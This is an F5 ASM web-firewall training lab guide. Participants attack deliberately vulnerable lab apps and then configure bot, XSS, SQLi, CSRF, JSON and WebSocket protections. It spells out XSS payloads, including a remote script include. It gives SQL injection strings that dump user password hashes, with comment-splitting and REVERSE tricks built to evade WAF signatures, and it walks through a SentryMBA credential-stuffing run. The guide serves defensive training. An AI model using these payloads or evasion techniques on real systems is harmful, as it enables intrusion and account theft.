F5 Networks

ASM Advanced Mitigation Techniques

Lab Guide

Participant Hands-on Lab Guide

Last Updated: 04.2017

pg. 2

©2016 F5 Networks, Inc. All rights reserved. F5, F5 Networks, and the F5 logo are trademarks of F5 Networks, Inc. in the U.S. and in certain other countries. Other F5 trademarks are identified at f5.com.

Any other products, services, or company names referenced herein may be trademarks of their respective owners with no endorsement or affiliation, express or implied, claimed by F5.

These training materials and documentation are F5 Confidential Information and are subject to the F5 Networks Reseller Agreement. You may not share these training materials and documentation with any third party without the express written permission of F5.

pg. 1

Table of Contents

Lab Environment and Setup ................................................................................................................................... 3

Lab 1 – Bot Signatures and Proactive Bot Defense ................................................................................................ 4

Exercise 1 – Bot Signatures..................................................................................................................................... 4

Step 1 – Configure DoS Profile ............................................................................................................................................ 4

Step 2 – Launch and Observe Simple Bot Attacks ............................................................................................................... 5

Exercise 2 – Custom Bot Signatures ....................................................................................................................... 6

Step 1 – Unknown “Bot” Attack .......................................................................................................................................... 6

Step 2 – Custom Bot Signature ........................................................................................................................................... 6

Step 3 – Run the Unknown “Bot” Attack Again .................................................................................................................. 7

Exercise 3 – Proactive Bot Defense ........................................................................................................................ 8

Step 1 – Enable Proactive Bot Defense ............................................................................................................................... 8

Step 2 – Launch and Observe Attack .................................................................................................................................. 9

Exercise 4 – Blocking and Validating Suspicious Browsers ................................................................................... 10

Step 1 – Edit DoS Profile ................................................................................................................................................... 10

Step 2 – Launch and observe attack. ................................................................................................................................ 11

Exercise 5 – Blocking Credential Stuffing with Proactive Bot Defense ................................................................ 13

Step 1 – Review Sentry MBA Config .................................................................................................................................. 13

Step 2 – Launch a Cred Stuffing attack ............................................................................................................................. 16

Step 3 – Block SentryMBA with Proactive Bot Defense .................................................................................................... 19

Lab 2 – Evasion Techniques .................................................................................................................................. 21

Exercise 1: Setup and Determining Vulnerability ................................................................................................. 21

Step 1 - Burp Suite Proxy ................................................................................................................................................... 21

Step 2 - Create Policy ......................................................................................................................................................... 21

Step 3 - Determining Cross Site Script (XSS) Vulnerability ................................................................................................. 22

Exercise 2: Testing ASM with Evasion Techniques ............................................................................................... 25

Step 1 – Testing the XSS through ASM .............................................................................................................................. 25

Step 2 – Obfuscation – URL Encoding ................................................................................................................................ 26

Step 3 – Obfuscation – String Manipulation ...................................................................................................................... 30

Lab 3 - Cross Site Request Forgery Protection ..................................................................................................... 34

Exercise 1 – Review CSRF Attack Page ................................................................................................................. 34

Step 1 – Login ................................................................................................................................................................... 34

Step 2 – Configure CSRF Protection .................................................................................................................................. 36

pg. 2

Step 3 – Inspect CSRF Protection ...................................................................................................................................... 37

Lab 4 - Protecting JSON applications with ASM ................................................................................................... 40

Exercise 1 – Review JSON App .............................................................................................................................. 40

Step 1 – Review JSON POST in Burp Suite ......................................................................................................................... 40

Exercise 2 – Manipulate JSON Request data ........................................................................................................ 42

Step 1 – Change credentials ............................................................................................................................................. 42

Step 2 – SQL Injection ....................................................................................................................................................... 44

Exercise 3 – Blocking malicious JSON with ASM................................................................................................... 45

Step 1 – Create and Apply an ASM policy ......................................................................................................................... 45

Step 2 – Re-try SQL Injection ............................................................................................................................................. 46

Exercise 4 – ASM Content Profiles ....................................................................................................................... 48

Step 1 – Review JSON Content Profile ............................................................................................................................... 48

Step 2 – Enforce signatures and re-try SQLi Attack .......................................................................................................... 49

Exercise 5 – JSON Format Validation .................................................................................................................... 51

Step 1 – Attempt a XSS Attack .......................................................................................................................................... 51

Lab 5 - Websocket Protection .............................................................................................................................. 52

Exercise 1 – Review TaxiApp and F5 Config ......................................................................................................... 52

Step 1 – Associate WebSocket Profile ............................................................................................................................... 52

Step 2 – Review TaxiApp ................................................................................................................................................... 53

Step 3 – Attack TaxiApp .................................................................................................................................................... 54

Exercise 2 – WebSocket Protection ...................................................................................................................... 55

Step 1 – Create ASM WebSocket Policy ............................................................................................................................ 55

Lab 6 – ASM Learning (Optional Exercise) ............................................................................................................ 58

Exercise 1 – Policy Creation .................................................................................................................................. 58

Step 1: Create policy for Hackazon .................................................................................................................................... 58

Step 2: Review the Hackazon Virtual Security Tab config.................................................................................................. 58

Step 3: Create and Configure Learning Suggestions .......................................................................................................... 59

Exercise 2: Server Technologies ........................................................................................................................... 62

Step 1: Review ASM Learning ............................................................................................................................................ 62

Step 2: Review Learning Suggestions ................................................................................................................................ 64

pg. 3

LAB ENVIRONMENT AND SETUP

IMPORTANT: When you are completing these exercises, to ensure consistent lab behavior:

- Use Chrome to manage the BIG-IP

- Use Firefox for all application interactions.

pg. 4

LAB 1 – BOT SIGNATURES AND PROACTIVE BOT DEFENSE The purpose of this lab is to help you understand the bot detection and mitigation features in Application Layer DoS Profiles. Also, to see the new bot logging features in 13.0. You will detect and block bots with increasing sophistication. You will also Use SentryMBA to perform a credential stuffing attack and then block it.

Exercise 1 – Bot Signatures

Step 1 – Configure DoS Profile

Create a DOS Profile so that only Bot Signatures are enabled. Ensure that ALL other features are disabled. Associate this profile to the DVWA Protected VIP (10.1.10.56).

pg. 5

Step 2 – Launch and Observe Simple Bot Attacks

1. On the Windows client open a command line and change to the c:\xampp\apache\bin directory

2. Use Apache Bench to “attack” the website. Run the following command:

ab -c 10 -n 1000 -r http://10.1.10.56/

3. 3. On the BIGIP, go to Security >> Event Logs >> Bot Defense >> Requests.

Note: When viewing the Bot Defense logs you will need to scroll to the right to see some of the fields shown in the screenshots.

In the Bot Defense logs we can see exactly WHO was blocked, HOW they were blocked, and WHY they were blocked. This level of logging was only available via iRules in previous versions and gives much greater visibility into Bot Defense mitigations.

This is a “simple bot” and the DoS Profile was able to identify and block the bot based on its signature, “ab” in the User-Agent HTTP header. In the next exercise, we will change the User-Agent header and see if the DoS Profile can block it.

pg. 6

Exercise 2 – Custom Bot Signatures

Step 1 – Unknown “Bot” Attack

1. From the Windows command line, run the following command:

ab -c 100 -n 1000 -r -H "User-Agent: kalakalazoomzoom" http://10.1.10.56/

Note: Make sure to copy the entire command and issue all on one line.

2. Watch the Bot Defense Logs.

Step 2 – Custom Bot Signature

1. On the BIGIP, go to Security ›› Options ›› DOS Protection ›› Bot Signatures List 2. Click Create. On the Create New Bot Signature page, create a new bot signature with the following settings:

Name: kalakalazoomzoom

Category: DOS Tool

User-agent: contains: kalakalazoomzoom

Was the attack blocked?

Why or Why not?

pg. 7

Step 3 – Run the Unknown “Bot” Attack Again

1. From the Windows command line, run the following command:

ab -c 100 -n 1000 -r -H "User-Agent: kalakalazoomzoom" http://10.1.10.56/

Make sure to copy the entire command and issue all on one line.

2. Return to the Bot Defense logs. Is the attack blocked this time?

3. We can see that the “bot” was blocked because it matched the new custom signature.

What if the script or bot uses a legitimate user agent string? Something like:

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1

We can’t block using a signature or we would block every legitimate browser that is using this browser/OS. How do we block these simple bots if we can’t use a signature?

pg. 8

Exercise 3 – Proactive Bot Defense

Step 1 – Enable Proactive Bot Defense

1. On the BIGIP, go to Security ›› DOS Protection ›› DOS Profiles. Edit your DoS Profile to enable Proactive Bot Defense. Set the Operation Mode to Always and clear the Block Suspicious Browsers box. (We will use that in the next exercise.)

pg. 9

Step 2 – Launch and Observe Attack

1. Open the Real-Time Charts Window. 2. Run the following command from the Windows command line:

ab -c 100 -n 1000 -r -H "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;

rv:40.0) Gecko/20100101 Firefox/40.1" http://10.128.10.40/

3. Review the Bot Defense logs. Which mitigation is being used?

The DoS Profile responded to the “bot” with a JS challenge. Note the “Reason” field. This field gives descriptive explanation for why a challenge was (or was not) possible. Proactive Bot Defense stops simple bots, even if they are trying to impersonate legitimate browsers with a valid User-Agent header, by responding with a JavaScript challenge.

What about JavaScript-enabled bots or headless browsers like PhantomJS?

These bots are capable of processing JS and would pass this JS challenge.

How do we mitigate these types of bots?

pg. 10

Exercise 4 – Blocking and Validating Suspicious Browsers

Step 1 – Edit DoS Profile

1. On the BIGIP, go to Security ›› DOS Protection ›› DOS Profiles. Edit the Agility_DOS_Profile to enable Block Suspicious Browsers and CAPTCHA Challenge. Click Update.

pg. 11

Step 2 – Launch and observe attack.

You will use your browser to act as a JS-enabled bot that is impersonating a legitimate browser.

1. On the BIGIP, open the Real-Time Charts Window. 2. Open a new Private Window in Firefox. From the new User-Agent Switcher tool in the top right corner of

the Firefox menu choose Safari and OS X.

This will force Firefox to send a User-Agent header that looks like it is coming from Safari on an Apple computer even though we are actually using Firefox on a Windows computer.

3. In the browser address bar enter http://10.1.10.56/dvwa/ to try to access the DVWA site. You will be presented with a CAPTCHA Challenge. Fill out the CAPTCHA and click Submit. You are allowed through to the Auction Website.

pg. 12

4. Look at the Bot Defense logs.

Proactive Bot Defense initially responded with the JS Challenge which the browser (and any JS-enabled bot) was able to pass. The DOS Profile then sent the Client Capabilities challenge to validate the browser was really Safari running on Mac OS X (since this is what the user-agent header indicated). The response received by the BIGIP is given a score.

Client Capabilities Scores

0 – 59 = Browser = Allowed

60 – 99 = Suspicious = CAPTCHA Challenge

100 = BOT = Blocked

The browser received too high of a score and so was presented with the CAPTCHA Challenge.

The CAPTCHA Challenge will block even JS-enabled bots (AKA headless browsers) but still let legitimate human users access the site. Additionally, the CAPTCHA will only be presented if/when a browser does not pass the capabilities challenge. Most browsers will pass this challenge with a low enough score that most users will NOT even see the CAPTCHA.

pg. 13

Exercise 5 – Blocking Credential Stuffing with Proactive Bot Defense

Step 1 – Review Sentry MBA Config

SentryMBA is a tool that “crackers” use to try to replay stolen credentials against login pages that they want to compromise. As you will see from this lab it is highly configurable and it is widely used on the internet for credential stuffing attacks.

1. On the Windows client, open the Sentry MBA tool by clicking the blue “S” logo in the taskbar.

SentryMBA is already configured to attack the Hackazon login page. We will take a look at the tool settings to see how it is configured.

2. For this lab, SentryMBA is configured to use the Burp Proxy. You will learn more about Burp Proxy in another lab. For now, open Burp proxy and ensure that Intercept is off.

3. From the Site dropdown box, make sure that “hackazon.f5demo.com” is selected.

pg. 14

4. From the Settings section of the left menu, select HTTP Header. Then click on the “Magic Wand” icon in the lower right corner.

5. This will open the main configuration wizard page. o Review the configuration and mouse over some of the fields to see the context-specific help. DO

NOT change any settings. o Close the page with the X in the top right corner.

pg. 15

6. Now Click on Lists in the left menu and select Word Lists.

Here you can see the username:password credentials that will be “stuffed” into the DVWA login page. In practice, these might be tens of thousands of stolen credentials from breaches like the Sony, Target, Home Depot, or Yahoo breaches.

pg. 16

Step 2 – Launch a Cred Stuffing attack

1. Launch the attack by clicking the Go!! Button in the top left corner. In the pop-up, check the Reset WordList box (if available) and click Start Bruteforcer Engine and then click Yes in the proxy warning window.

2. The attack will start and you will quickly see in the Progression tab that a login was successful using the admin:admin and user1:user1 credentials from the wordlist.

pg. 17

3. Once you see the successful login click Abort in the top left. Then expand the History section of the left menu and click History.

4. In the History list right click on the successful login and choose Launch in Browser.

You can see how easy SentryMBA makes it to use, find, and exploit stolen credentials.

pg. 18

5. In preparation for the next step, clear the successful logins from the history by click the red X in the bottom right and deleting Delete Selected Hits.

pg. 19

Step 3 – Block SentryMBA with Proactive Bot Defense

We will now run apply a Proactive Bot Defense policy to the Hackazon virtual to see if Proactive Bot Defense can stop this sophisticated tool.

1. In Chrome go to the Security tab for the Hackazon_protected_virtual and assign the Hackazon-PBD Dos profile.

2. In SentryMBA, ensure the Site dropdown is set to http://hackazon.f5demo.com.

3. Click Go!! To start the attack and watch the Progession window.

Is the attack successful again?

Were admin:admin credentials identified as a hit?

pg. 20

4. In the F5 WebUI go to the Bot Defense logs.

How was SentryMBA blocked?

What does this tell you about SentryMBA?

pg. 21

LAB 2 – EVASION TECHNIQUES The purpose of this lab is to introduce common penetration testing techniques and show how ASM signatures, normalization engine, and protocol validation handle evasion techniques. You will also use Burp Suite to view, manipulate, and replay requests and attacks.

Exercise 1: Setup and Determining Vulnerability

Step 1 - Burp Suite Proxy

1. View Proxy tab and settings

2. Ensure that Intercept is OFF

Step 2 - Create Policy

Use the following settings:

1. Advanced View

2. Name: DVWA-Evasion

3. Policy Template: Comprehensive

4. Virtual Server: DVWA_protected

5. Lang: utf-8

6. Enforcement Readiness: 0 days

pg. 22

Step 3 - Determining Cross Site Script (XSS) Vulnerability

1. In Firefox browse to http://unprotected.f5demo.com/dvwa/

a. Login as admin/admin

b. Click on XSS Reflected in Left side menu

c.

2. Enter Basic XSS Locator

a. In the “What is your name?” field enter your name. Note that the name you entered is shown in the response. This is known as “reflection”; user input is shown, or reflected, in the response.

b. Now enter this common XSS string that is used to determine if a site is vulnerable to XSS:

'';!--"<F5ROCKS>=&{()}

'';!--"<XSS>=&{()} This is a common string used to test what, if any, filters and/or encoding are being used on user input. Typically, the source of the page after this injection will contain either &lt;XSS or <XSS. If the second is found, the application is most likely not filtering user input (as it allowed the addition of an arbitrary tag) and is likely vulnerable to XSS.

pg. 23

c. Note that the visible response does not reflect the string “<F5ROCKS” and does not APPEAR to show vulnerability. But let’s view the page source to be sure.

d. Right click on the webpage and choose View Page Source.

e. On the view source tab, press ctrl+F to open the inline search bar. Search for “F5ROCKS”.

f. The presence of “<F5ROCKS” in the page source is an indicator that the page is not filtering user input and is likely vulnerable to XSS.

pg. 24

3. Try these other common XSS locator strings and note the results. These XSS strings are used by Pen Testers to determine if a given application is susceptible to XSS.

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";

alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--

></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

This is actually a combination of several injection attempts: The First Injection ';alert(String.fromCharCode(88,83,83))// This injection attempts to terminate a JavaScript string literal (using '), then terminate the statement (with ;) and makes a call to alert(String.fromCharCode(88,83,83)) which will cause a popup box containing "XSS". The following // is an attempt to "comment out" the rest of the statement, so that a syntax error will not occur and the script will execute. The Second Injection ";alert(String.fromCharCode(88,83,83))// Like the first injection, but it uses " in an attempt to terminate a JavaScript string literal. The Third Injection --></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> This attempts to do the following things:

Terminate an HTML (or XML) comment (with -->)

Terminate an existing <SCRIPT> tag using </SCRIPT>

This is done to prevent the injected script causing a syntax error, which would prevent the injected script from executing.

Terminate an HTML attribute and tag, using ">

Terminate an HTML attribute and tag, using '>

Inject JavaScript using <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>

This is a standard JavaScript injection that is calling a remote .js file.

pg. 25

Exercise 2: Testing ASM with Evasion Techniques

Step 1 – Testing the XSS through ASM

1. In Firefox browse to http://protected.f5demo.com

a. Login as admin/admin

b. Click on XSS Reflected in Left side menu

2. Enter the XSS Locator string in the “What’s your name?” field and click Submit:

;alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";

alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--

></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

3. In Chrome, review the ASM logs for this request.

4. Enter the remote xss.js script and click submit:

<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>

5. Review the ASM logs.

Did the ASM catch the XSS attempt?

What signatures were matched?

Where did the text content for the alert pop-up come from?

pg. 26

Step 2 – Obfuscation – URL Encoding

One form of obfuscation is encoding the attack to “hide” it from protections like IPS and WAF. In this step we will try URL-encoding.

1. Enable intercept on Burp Proxy, by selecting the Proxy tab and clicking the “Intercept is off” button. It should now say “Intercept is on.” Requests from FF will now be held in Burp for review and possible manipulation.

2. In Firefox submit the remote xss.js script again.

<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>

3. Manipulate the request in Burp Proxy.

a. In the Burp Proxy Request window select entire parameter value, right-click, and select Send to Decoder

Did ASM catch the XSS attempt?

What signatures were matched?

How does the Decoded Request differ from the Original Request??

pg. 27

pg. 28

b. In Decoder tab, from right hand menu select Encode as… URL

c. Select and copy the URL-encoded string (You will need to use Ctrl+C to copy the string)

d. Return to the Proxy tab, select the entire parameter value and replace it with the copied URL-encoded string

pg. 29

e. Click forward. (You may need to click forward a few more times if subsequent requests are generated to load this page).

4. View the DVWA page in FF to see if the XSS was successful.

5. This same obfuscation technique could be accomplished without Burp by simply editing the query string parameter value directly in the browser address bar. Try it.

6. Review the ASM logs.

Was the attack successful? Why or Why not? What does this tell you about encoded obfuscation?

Did ASM catch the XSS attempt? What signatures were matched? Were they the same signatures as without obfuscation? How does the Decoded Request differ from the Original Request?

pg. 30

Step 3 – Obfuscation – String Manipulation

Another form of obfuscation is string manipulation. In this exercise, we will try manipulating common XSS and SQLi attack strings to evade signature-based detections.

1. Null character insertion

a. Ensure Burp intercept is on.

b. Send the XSS script again. <SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>

c. In Burp Intercept, insert a URL-encoded null character (%00) in the middle of the beginning and ending script tags.

Could we have just placed the null character in the query string parameter in the in the browser address bar as in the previous exercise?

pg. 31

2. SQLi Always True You should be familiar with the common “OR 1=1” SQLi injection attack. This is a common attack that attempts to create an “always true” condition that will cause the database to return more rows than the application intended.

a. Ensure Burp Intercept is turned off

b. In Firefox go to the SQLi Injection page.

c. Enter the following string in the User ID field and click Submit. ' OR 1=1#

d. Review the ASM Request log:

i. What signatures fired for this request?

ii. Note each of the Signature IDs that fired. There may be more than one.

e. Let’s try a less obvious “always true” string and see if ASM catches it. In the User ID field enter the following string and click Submit. ' OR ASCII('*')>'40

This is essentially comparing the ASCII representation of the asterisk (*) character (which is 42) with the decimal number 40. Note we used a greater than comparison rather than an equality comparison.

f. Review the ASM Request log

i. What signatures fired for this request?

ii. Note the Signature IDs that fired. Are they the same as the previous request?

iii. What does this tell you about ASMs signatures and normalization engine?

pg. 32

3. SQLi Union Select In this exercise we will try a more sinister Union Select command that returns all of the usernames and their hashed passwords. We will then try to manipulate the command to evade signature detection.

a. Ensure Burp Proxy is disabled.

b. In Firefox, return to the DVWA SQL Injection page.

c. In the User ID field enter the following string and click Submit:

' and 1=0 union select null,

concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

You can see that all user names and their hashed passwords are returned.

d. Review the ASM Request Log.

a. What signatures fired?

b. Note the Signature IDs that were matched. There may be more than one.

e. Return to DVWA in Firefox and enter the following string and click Submit: ' and 1=0 un/**/ion/**/sel/**/ect null,

concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

This string is trying to hide the union select command by inserting SQL comments between and in the middle of the words.

pg. 33

f. Review the ASM Request Log.

a. What signatures fired?

b. Note the Signature IDs that were matched. There may be more than one.

c. How do these signatures compare to those matches in the previous request?

g. Return to DVWA in Firefox and enter the following string and click Submit: ' and 1=0 REVERSE(noinu) REVERSE(tceles) null,

concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

This string is trying to hide the union select command by using the SQL REVERSE function.

h. Review the ASM Request Log.

a. What signatures fired?

b. Note the Signature IDs that were matched. There may be more than one.

c. How do these signatures compare to those matches in the previous request?

What other violations have been firing that could

block these attacks even if they were able to bypass ASM signatures?

pg. 34

LAB 3 - CROSS SITE REQUEST FORGERY PROTECTION The purpose of this lab is to show in detail how ASM mitigates CSRF attacks. You will perform a CSRF attack and compare how requests and responses differ with and without ASM protection.

Exercise 1 – Review CSRF Attack Page

Step 1 – Login

1. Ensure that Burp Proxy is running and Intercept is off.

2. In Firefox, login to http://unprotected.f5demo.com as admin/admin.

3. In another Firefox tab, browse to the attacker page at http://www.badkitties.com. Click on the word Demo to open the attack page.

This is a (ridiculously) simple webpage that has two links, Good Kitty and Bad Kitty. Bad Kitty is a CSRF link to the unprotected DVWA URL. Good Kitty is a CSRF link to the protected DVWA URL.

This is intended to mimic a real-word malicious page/link that sends a request to another URL where the user MAY be authenticated, executing an action the user did not intend; a CSRF attack.

pg. 35

4. Click on the Bad Kitty link.

5. In the DVWA browser tab, logout and then try to log back in as admin/admin.

6. On the Attack page mouse over the Bad Kitty link and see if you can tell to what the admin password was changed.

7. Login as admin and change the password back to “admin”.

What “unintended” action was taken?

At what URL was this action taken?

Why did this work?

pg. 36

Step 2 – Configure CSRF Protection

1. In Chrome, edit the DVWA-Evasion ASM policy to enable CSRF protection for the DVWA Change Password page.

2. Change the DVWA-Evasion policy to Blocking mode.

3. In Firefox, login to http://protected.f5demo.com as admin/admin.

4. Click on the Bad Kitty link.

In the next step, we will look at the differences between the protected and unprotected Change Password pages.

Did the CSRF request work? Why not?

pg. 37

Step 3 – Inspect CSRF Protection

1. In Firefox, open two tabs and login to both the protected and unprotected DVWA sites as admin/admin. Browse to the Change Password page in each window by clicking on the CSRF link in the right-hand menu.

2. Right click on the Change button and choose Inspect Element source.

3. Do the same to inspect the elements for the protected DVWA page.

Note the Cross Site Request Token (csrt) injected into the page by ASM.

pg. 38

4. In the developer tools window, change to the Network tab and click the trash can icon to delete any requests that are already showing.

5. Enter “password” into the password fields to change the admin password. Click Change.

6. In the developer tools window click on the first GET request and on the right select the Params tab.

What query string parameters were submitted as part of the request?

pg. 39

7. Login and open this same page in Chrome. Inspect the DOM. And note the CSRT value.

Is the CSRT token the same in each browser?

What does this tell you about the Token for each session/browser?

How does this mitigate CSRF attacks?

Note that many WAFs simply look at validating the referer header in the request. How could this approach be circumvented?

pg. 40

LAB 4 - PROTECTING JSON APPLICATIONS WITH ASM The purpose of this lab is to show ASM’s ability to parse and protect JSON data.

Exercise 1 – Review JSON App

Step 1 – Review JSON POST in Burp Suite

1. Open Firefox and Burp. In Burp, go to the Proxy tab and turn Intercept off.

2. In Firefox browse to http://simplestore.f5demo.com and click on the Login tab.

We will now use Burp to intercept, view, and manipulate the POSTs to the login page.

pg. 41

3. Go to Burp and enable intercept. Then try to login to the Simple Store app in Firefox as user/user. This request will be intercepted by Burp. Return to the Burp window and view the request.

You should notice that:

POST data is not in typical key/value pairs. The POST data is in JSON format.

The Content-Type “application/json”.

4. Click Forward to forward the request on to the site. Return to Firefox to see if you were authenticated.

pg. 42

Exercise 2 – Manipulate JSON Request data

Step 1 – Change credentials

1. In Firefox try to login again as user/user. Return to Burp Intercept and right click on the request and choose Send to Repeater. Then click on the Repeater tab.

In Burp Repeater we can manipulate and resend this request many times and see the responses.

pg. 43

2. Change the username and password JSON parameter values to test/test. Click Go to send the request. You should see from the response that we successfully logged in with these credentials.

pg. 44

Step 2 – SQL Injection

1. In Burp Repeater, change the username parameter value to: ‘ OR 1=1#. Then click Go to send the request.

From looking at the response it does not appear that this page is susceptible to this specific SQLi attack. But the application did receive and try to process the JSON parameters. We could continue to try various attacks against this and other pages in this web application.

A WAF will not be able to apply signatures to these parameter names and values and protect this application unless it is able to properly parse the JSON format and differentiate between the parameter name and the parameter value.

In the next exercise, we will apply an ASM policy that is able to parse these JSON parameters and protect this application.

pg. 45

Exercise 3 – Blocking malicious JSON with ASM

Step 1 – Create and Apply an ASM policy

1. Create an ASM policy with the following settings:

The ASM policy is now applied to the JSON virtual. Note that we did NOT make any JSON-specific changes to the policy.

Will this “default” policy be able to identify and

block the SQLi attack?

pg. 46

Step 2 – Re-try SQL Injection

1. In Burp Repeater, send the SQLi request again. Look at the response.

What information in the response tells us that an ASM policy is applied? Was it blocked by ASM? Why or Why not?

pg. 47

2. In The F5 WebUI, look at the ASM Request Log. (Be sure to REMOVE the filter for illegal requests.)

ASM was able to parse the JSON parameters and identify the request as malicious. However, it did not block the request because the signatures are in staging. In the next exercise will will look at why and how ASM was able to parse the JSON parameters and then enforce the signature(s) to block this request.

Was the request blocked? Was the request identified as malicious? What signatures were matched for this request?

pg. 48

Exercise 4 – ASM Content Profiles

Step 1 – Review JSON Content Profile

1. On the BIGIP, go to Security ›› Application Security ›› Content Profiles ›› JSON Profiles. Click on the Default Profile. Here you can see that there is a Default JSON profile that allows ASM to validate JSON format and check the parameter names and values against signatures.

pg. 49

Step 2 – Enforce signatures and re-try SQLi Attack

1. In the F5 WebUI, go to Application Security ›› Policy Building ›› Traffic Learning. 2. In the Enforcement Readiness Summary section, click on the number indicating the number of signatures

that have suggestions but are not enforced.

3. On the Attack Signatures page, select all three signatures and click Enforce. Click Apply Policy to apply these changes.

pg. 50

4. Return to Burp Repeater and resend the SQLi attack by clicking Go. Note the response. Was the request blocked?

5. On the F5 WebUI, return to the ASM Request Log and view this request. What indicators are there that the request was blocked?

6. Clear the Request Log.

pg. 51

Exercise 5 – JSON Format Validation

Step 1 – Attempt a XSS Attack

1. In Burp Repeater, enter the following XSS attack as the username parameter value and click Go:

<script>window.alert("You have been hacked!!!");</script>

Was the Request blocked?

2. Review this request in the ASM Request log. Why was this request blocked? Besides the XSS signatures, what other violation(s) fired?

We can see that not only were the XSS signatures were matched but also that ASM is validating correct JSON formatting. This a “positive security model” function would help catch zero-day or obfuscated attacks that may NOT trigger a signature.

pg. 52

LAB 5 - WEBSOCKET PROTECTION The purpose of this lab is to show the ability of ASM to support, parse, and protect applications that use WebSockets to transmit data.

Exercise 1 – Review TaxiApp and F5 Config

Step 1 – Associate WebSocket Profile

1. In Chrome, In the F5 WebUI open the Websocket_virtual properties page.

2. Ensure that Advanced view is set and associate the default WebSocket profile to the virtual. Click .

In order for ASM to properly parse the WebSocket content, a websocket profile must be assigned to the virtual.

pg. 53

Step 2 – Review TaxiApp

1. In Firefox, browse to www.taxiapp.com. Click on the Admin tab and login as admin/admin.

This is the admin console of the Taxi app and allows the app admin to see what clients and drivers are using the app.

2. On the Desktop, open the TaxiApp client emulator by double-clicking the icon.

3. In the TaxiApp client emulator, click on the Client tab and enter your name. Click Order.

The TaxiApp client passes data to the backend application over a WebSocket connection. You should see your name and a location appear in the admin console of the taxi app.

pg. 54

Step 3 – Attack TaxiApp

1. In the TaxiApp client, enter the following XSS attack string in the Name field. Click Order.

<img src=/ onerror=alert(0xF5)>

What response do you see in the admin console?

The admin console in processing the user input from the client app websocket connection without any input validation

pg. 55

Exercise 2 – WebSocket Protection

Step 1 – Create ASM WebSocket Policy

1. In Chrome, In the F5 WebUI create a new ASM policy with the following settings:

Name: Websocket-policy

Policy Template: Rapid Deployment

Virtual Server: Websocket_virtual

Learning: Disabled

Enforcement: Blocking

Language: utf-8

Signature Staging: Disabled

2. In the TaxiApp client, enter the following XSS attack string in the Name field. Click Order.

<img src=/ onerror=alert(0xF5)>

Does the alert show up in the TaxiApp admin console?

pg. 56

3. Review the ASM Request Log for this request.

Was the request blocked?

What signature is matched?

Note that this request is raw data. There are no HTTP headers.

pg. 57

4. Look at the request immediately prior to this websocket request.

What information in this request tells the application (and ASM) that this connection is moving to websocket data?

pg. 58

LAB 6 – ASM LEARNING (OPTIONAL EXERCISE) The purpose of this lab is to introduce new features and changes to learning in ASM in 13.0. This lab only focuses on Server Technology Learning. There are MANY more new enhancements to ASM Learning in 13.0. A separate lab will be created in the future to demo all of these features.

Exercise 1 – Policy Creation

Step 1: Create policy for Hackazon

1. Advanced mode

2. Name: ASM_Learning

3. Policy Template: Comprehensive

4. Associate to Hackazon VIP

5. Learning Mode: Manual

6. Enforcement Mode: Blocking

7. Language: utf-8

8. Enforcement Readiness: 0

Step 2: Review the Hackazon Virtual Security Tab config

Ensure App Sec logging profile is assigned to VIP.

pg. 59

Note that Learn from responses is enabled by default

Step 3: Create and Configure Learning Suggestions

1. Review Learning and Blocking Settings:

a. Ensure that Advanced view is selected

b. Expand Options section at bottom

2. Go to Traffic Learning page:

a. No Learning Suggestions yet as policy has seen no traffic.

b. Also, note the number of signatures applied to the policy

pg. 60

3. Browse to http://hackazon.f5demo.com

a. Click the Hackazon logo to refresh the home page

b. Click on any item on the home page

c. Change “Count” to 2 and click Add to Cart.

pg. 61

d. In the Cart pop-up, click Show all Items in Cart

e. On the Overview screen accept the defaults and click Next.

f. On the Shipping Address screen complete the form and click Next

g. On the Billing Address screen click Bill to this Address

pg. 62

Exercise 2: Server Technologies

Step 1: Review ASM Learning

1. Return to the ASM WebUI and navigate to the Traffic Learning page

2. Refresh page if the browser was already at this page

3. Note Server Technologies learned and, again, note the number of signatures

4. Accept all four Add Server Technologies suggestions and click Apply Policy

pg. 63

5. Review Policy >> Server Technologies page

6. Go to Learning and Blocking Settings page

a. Change Loosen Policy settings

Untrusted Sources: 1

Hours: 0.1

Days: 0.1

Trusted Sources: 1

Days: 0.1

b. Click Save and Apply Policy

NOTE: We are only doing this to lower the time that it will take to show new Learning Suggestions for the purposes of the lab. DO NOT do this in a production environment.

Could we see learning suggestions just as quickly without changing these settings?

pg. 64

Step 2: Review Learning Suggestions

1. Return to the Hackazon browser window

a. Click on the Hackazon logo to return to the home page

b. Click the Sign In/Sign Up link in the top left corner

c. Login as user1/user1

d. On the My Account page click on one of the existing orders

e. Review the order then click on the Orders link to return to the Orders page.

pg. 65

i. Click the Hackazon logo to return to the home page

ii. Click on any item on the home page and click Add to Cart

iii. Browse to your cart

iv. On the Overview screen click Next

v. On the Shipping screen, fill out the shipping information and click Next

vi. On the Billing screen, click Bill to this Address

vii. On the Confirmation screen, click Place Order

pg. 66

2. Return to the ASM WebUI and navigate to the Traffic Learning page. Review various Learning suggestion types

What setting did we change the caused all the learning suggestions to be at100?

What would they be if we had not changed those settings?

Why has the number of settings changed?